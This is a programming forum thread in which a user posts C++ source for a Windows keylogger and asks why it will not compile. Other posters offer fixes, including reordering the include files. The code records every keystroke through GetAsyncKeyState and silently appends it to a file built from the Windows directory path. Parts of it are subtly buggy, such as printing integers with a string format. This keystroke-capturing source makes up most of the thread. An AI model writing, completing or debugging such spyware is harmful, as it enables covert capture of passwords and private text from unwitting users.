Skip to content
  • Categories
  • Recent
  • Tags
  • Popular
  • World
  • Users
  • Groups
Skins
  • Light
  • Cerulean
  • Cosmo
  • Flatly
  • Journal
  • Litera
  • Lumen
  • Lux
  • Materia
  • Minty
  • Morph
  • Pulse
  • Sandstone
  • Simplex
  • Sketchy
  • Spacelab
  • United
  • Yeti
  • Zephyr
  • Dark
  • Cyborg
  • Darkly
  • Quartz
  • Slate
  • Solar
  • Superhero
  • Vapor

  • Default (No Skin)
  • No Skin
Collapse
Code Project
  1. Home
  2. General Programming
  3. C / C++ / MFC
  4. Error while trying to implement KeyLogger

Error while trying to implement KeyLogger

Scheduled Pinned Locked Moved C / C++ / MFC
help
4 Posts 4 Posters 0 Views 1 Watching
  • Oldest to Newest
  • Newest to Oldest
  • Most Votes
Reply
  • Reply as topic
Log in to reply
This topic has been deleted. Only users with topic management privileges can see it.
  • A Offline
    A Offline
    avika
    wrote on last edited by
    #1

    I am trying to implement KeyLogger in our application. It give me following errors - 'GetWindowsDirectory': identifier not found and 'GetAsyncKeyState': identifier not found. I have already included the header files which are needed for these functions. Can anyone tell what I am doing wrong. I am using using following code - #include "Windows.h" #include "WinUser.h" #include "stdafx.h" #include ; #include ; #include ; void keys(int key,char *file) { FILE *key_file; key_file = fopen(file,"a+"); if (key==8) fprintf(key_file,"%s","[del]"); if (key==13) fprintf(key_file,"%s","\n"); if (key==32) fprintf(key_file,"%s"," "); if (key==VK_CAPITAL) fprintf(key_file,"%s","[Caps]"); if (key==VK_TAB) fprintf(key_file,"%s","[TAB]"); if (key ==VK_SHIFT) fprintf(key_file,"%s","[SHIFT]"); if (key ==VK_CONTROL) fprintf(key_file,"%s","[CTRL]"); if (key ==VK_PAUSE) fprintf(key_file,"%s","[PAUSE]"); if (key ==VK_KANA) fprintf(key_file,"%s","[Kana]"); if (key ==VK_ESCAPE) fprintf(key_file,"%s","[ESC]"); if (key ==VK_END) fprintf(key_file,"%s","[END]"); if (key==VK_HOME) fprintf(key_file,"%s","[HOME]"); if (key ==VK_LEFT) fprintf(key_file,"%s","[LEFT]"); if (key ==VK_UP) fprintf(key_file,"%s","[UP]"); if (key ==VK_RIGHT) fprintf(key_file,"%s","[RIGHT]"); if (key ==VK_DOWN) fprintf(key_file,"%s","[DOWN]"); if (key ==VK_SNAPSHOT) fprintf(key_file,"%s","[PRINT]"); if (key ==VK_NUMLOCK) fprintf(key_file,"%s","[NUM LOCK]"); if (key ==190 || key==110) fprintf(key_file,"%s","."); if (key >=96 && key <= 105) { key = key - 48; fprintf(key_file,"%s",&key); } if (key >=48 && key <= 59) fprintf(key_file,"%s",&key); if (key !=VK_LBUTTON || key !=VK_RBUTTON) { if (key >=65 && key <=90) { if (GetKeyState(VK_CAPITAL)) fprintf(key_file,"%s",&key); else { key = key +32; fprintf(key_file,"%s",&key); } } } fclose(key_file); } int _tmain(int argc, _TCHAR* argv[]) { char i; char test[1000]; GetWindowsDirectory(test,sizeof(test)); strcat(test,"//keys.txt"); while(1) { for(i=8;i<=190;i++) { if (GetAsyncKeyState(i) == -32767) { keys (i,test); } } } return 0; }

    L K 2 Replies Last reply
    0
    • A avika

      I am trying to implement KeyLogger in our application. It give me following errors - 'GetWindowsDirectory': identifier not found and 'GetAsyncKeyState': identifier not found. I have already included the header files which are needed for these functions. Can anyone tell what I am doing wrong. I am using using following code - #include "Windows.h" #include "WinUser.h" #include "stdafx.h" #include ; #include ; #include ; void keys(int key,char *file) { FILE *key_file; key_file = fopen(file,"a+"); if (key==8) fprintf(key_file,"%s","[del]"); if (key==13) fprintf(key_file,"%s","\n"); if (key==32) fprintf(key_file,"%s"," "); if (key==VK_CAPITAL) fprintf(key_file,"%s","[Caps]"); if (key==VK_TAB) fprintf(key_file,"%s","[TAB]"); if (key ==VK_SHIFT) fprintf(key_file,"%s","[SHIFT]"); if (key ==VK_CONTROL) fprintf(key_file,"%s","[CTRL]"); if (key ==VK_PAUSE) fprintf(key_file,"%s","[PAUSE]"); if (key ==VK_KANA) fprintf(key_file,"%s","[Kana]"); if (key ==VK_ESCAPE) fprintf(key_file,"%s","[ESC]"); if (key ==VK_END) fprintf(key_file,"%s","[END]"); if (key==VK_HOME) fprintf(key_file,"%s","[HOME]"); if (key ==VK_LEFT) fprintf(key_file,"%s","[LEFT]"); if (key ==VK_UP) fprintf(key_file,"%s","[UP]"); if (key ==VK_RIGHT) fprintf(key_file,"%s","[RIGHT]"); if (key ==VK_DOWN) fprintf(key_file,"%s","[DOWN]"); if (key ==VK_SNAPSHOT) fprintf(key_file,"%s","[PRINT]"); if (key ==VK_NUMLOCK) fprintf(key_file,"%s","[NUM LOCK]"); if (key ==190 || key==110) fprintf(key_file,"%s","."); if (key >=96 && key <= 105) { key = key - 48; fprintf(key_file,"%s",&key); } if (key >=48 && key <= 59) fprintf(key_file,"%s",&key); if (key !=VK_LBUTTON || key !=VK_RBUTTON) { if (key >=65 && key <=90) { if (GetKeyState(VK_CAPITAL)) fprintf(key_file,"%s",&key); else { key = key +32; fprintf(key_file,"%s",&key); } } } fclose(key_file); } int _tmain(int argc, _TCHAR* argv[]) { char i; char test[1000]; GetWindowsDirectory(test,sizeof(test)); strcat(test,"//keys.txt"); while(1) { for(i=8;i<=190;i++) { if (GetAsyncKeyState(i) == -32767) { keys (i,test); } } } return 0; }

      L Offline
      L Offline
      Lost User
      wrote on last edited by
      #2

      Are you sure you have configurated properly additional linker dependencies for your project? GetWindowsDirectory requires kernel32.lib file.

      Life is a stage and we are all actors!

      CPalliniC 1 Reply Last reply
      0
      • L Lost User

        Are you sure you have configurated properly additional linker dependencies for your project? GetWindowsDirectory requires kernel32.lib file.

        Life is a stage and we are all actors!

        CPalliniC Offline
        CPalliniC Offline
        CPallini
        wrote on last edited by
        #3

        Those look like compiler generated messages, not linker ones. :)

        If the Lord God Almighty had consulted me before embarking upon the Creation, I would have recommended something simpler. -- Alfonso the Wise, 13th Century King of Castile.
        This is going on my arrogant assumptions. You may have a superb reason why I'm completely wrong. -- Iain Clarke
        [My articles]

        In testa che avete, signor di Ceprano?

        1 Reply Last reply
        0
        • A avika

          I am trying to implement KeyLogger in our application. It give me following errors - 'GetWindowsDirectory': identifier not found and 'GetAsyncKeyState': identifier not found. I have already included the header files which are needed for these functions. Can anyone tell what I am doing wrong. I am using using following code - #include "Windows.h" #include "WinUser.h" #include "stdafx.h" #include ; #include ; #include ; void keys(int key,char *file) { FILE *key_file; key_file = fopen(file,"a+"); if (key==8) fprintf(key_file,"%s","[del]"); if (key==13) fprintf(key_file,"%s","\n"); if (key==32) fprintf(key_file,"%s"," "); if (key==VK_CAPITAL) fprintf(key_file,"%s","[Caps]"); if (key==VK_TAB) fprintf(key_file,"%s","[TAB]"); if (key ==VK_SHIFT) fprintf(key_file,"%s","[SHIFT]"); if (key ==VK_CONTROL) fprintf(key_file,"%s","[CTRL]"); if (key ==VK_PAUSE) fprintf(key_file,"%s","[PAUSE]"); if (key ==VK_KANA) fprintf(key_file,"%s","[Kana]"); if (key ==VK_ESCAPE) fprintf(key_file,"%s","[ESC]"); if (key ==VK_END) fprintf(key_file,"%s","[END]"); if (key==VK_HOME) fprintf(key_file,"%s","[HOME]"); if (key ==VK_LEFT) fprintf(key_file,"%s","[LEFT]"); if (key ==VK_UP) fprintf(key_file,"%s","[UP]"); if (key ==VK_RIGHT) fprintf(key_file,"%s","[RIGHT]"); if (key ==VK_DOWN) fprintf(key_file,"%s","[DOWN]"); if (key ==VK_SNAPSHOT) fprintf(key_file,"%s","[PRINT]"); if (key ==VK_NUMLOCK) fprintf(key_file,"%s","[NUM LOCK]"); if (key ==190 || key==110) fprintf(key_file,"%s","."); if (key >=96 && key <= 105) { key = key - 48; fprintf(key_file,"%s",&key); } if (key >=48 && key <= 59) fprintf(key_file,"%s",&key); if (key !=VK_LBUTTON || key !=VK_RBUTTON) { if (key >=65 && key <=90) { if (GetKeyState(VK_CAPITAL)) fprintf(key_file,"%s",&key); else { key = key +32; fprintf(key_file,"%s",&key); } } } fclose(key_file); } int _tmain(int argc, _TCHAR* argv[]) { char i; char test[1000]; GetWindowsDirectory(test,sizeof(test)); strcat(test,"//keys.txt"); while(1) { for(i=8;i<=190;i++) { if (GetAsyncKeyState(i) == -32767) { keys (i,test); } } } return 0; }

          K Offline
          K Offline
          KingsGambit
          wrote on last edited by
          #4

          Try changing the order of include files as follows and check if it works #include "stdafx.h" #include "Windows.h" #include "WinUser.h"

          1 Reply Last reply
          0
          Reply
          • Reply as topic
          Log in to reply
          • Oldest to Newest
          • Newest to Oldest
          • Most Votes


          • Login

          • Don't have an account? Register

          • Login or register to search.
          • First post
            Last post
          0
          • Categories
          • Recent
          • Tags
          • Popular
          • World
          • Users
          • Groups